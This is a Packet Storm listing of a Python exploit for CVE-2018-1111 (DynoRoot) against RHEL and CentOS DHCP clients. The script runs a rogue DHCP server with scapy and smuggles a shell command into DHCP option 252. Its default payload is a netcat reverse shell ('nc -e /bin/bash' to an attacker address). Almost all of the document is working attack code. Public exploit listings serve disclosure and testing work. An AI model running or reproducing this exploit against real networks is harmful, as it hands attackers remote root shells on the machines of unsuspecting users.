Lucene search

K
packetstormKevin KirschePACKETSTORM:147698
HistoryMay 18, 2018 - 12:00 a.m.

DynoRoot DHCP Command Injection

2018-05-1800:00:00
Kevin Kirsche
packetstormsecurity.com
48

0.973 High

EPSS

Percentile

99.8%

`# Exploit Title: DynoRoot DHCP - Client Command Injection  
# Date: 2018-05-18  
# Exploit Author: Kevin Kirsche  
# Exploit Repository: https://github.com/kkirsche/CVE-2018-1111  
# Exploit Discoverer: Felix Wilhelm  
# Vendor Homepage: https://www.redhat.com/  
# Version: RHEL 6.x / 7.x and CentOS 6.x/7.x  
# Tested on: CentOS Linux release 7.4.1708 (Core) / NetworkManager 1.8.0-11.el7_4  
# CVE : CVE-2018-1111  
  
#!/usr/bin/env python  
  
from argparse import ArgumentParser  
from scapy.all import BOOTP_am, DHCP  
from scapy.base_classes import Net  
  
  
class DynoRoot(BOOTP_am):  
function_name = "dhcpd"  
  
def make_reply(self, req):  
resp = BOOTP_am.make_reply(self, req)  
if DHCP in req:  
dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1]))  
for op in req[DHCP].options  
if isinstance(op, tuple) and op[0] == "message-type"]  
dhcp_options += [("server_id", self.gw),  
("domain", self.domain),  
("router", self.gw),  
("name_server", self.gw),  
("broadcast_address", self.broadcast),  
("subnet_mask", self.netmask),  
("renewal_time", self.renewal_time),  
("lease_time", self.lease_time),  
(252, "x'&{payload} #".format(payload=self.payload)),  
"end"  
]  
resp /= DHCP(options=dhcp_options)  
return resp  
  
  
if __name__ == '__main__':  
parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit')  
  
parser.add_argument('-i', '--interface', default='eth0', type=str,  
dest='interface',  
help='The interface to listen for DHCP requests on (default: eth0)')  
parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str,  
dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)')  
parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str,  
dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)')  
parser.add_argument('-d', '--domain', default='victim.net', type=str,  
dest='domain', help='Domain to assign (default: victim.net)')  
parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str,  
dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)')  
  
args = parser.parse_args()  
server = DynoRoot(iface=args.interface, domain=args.domain,  
pool=Net(args.subnet),  
network=args.subnet,  
gw=args.gateway,  
renewal_time=600, lease_time=3600)  
server.payload = args.payload  
  
server()  
  
  
`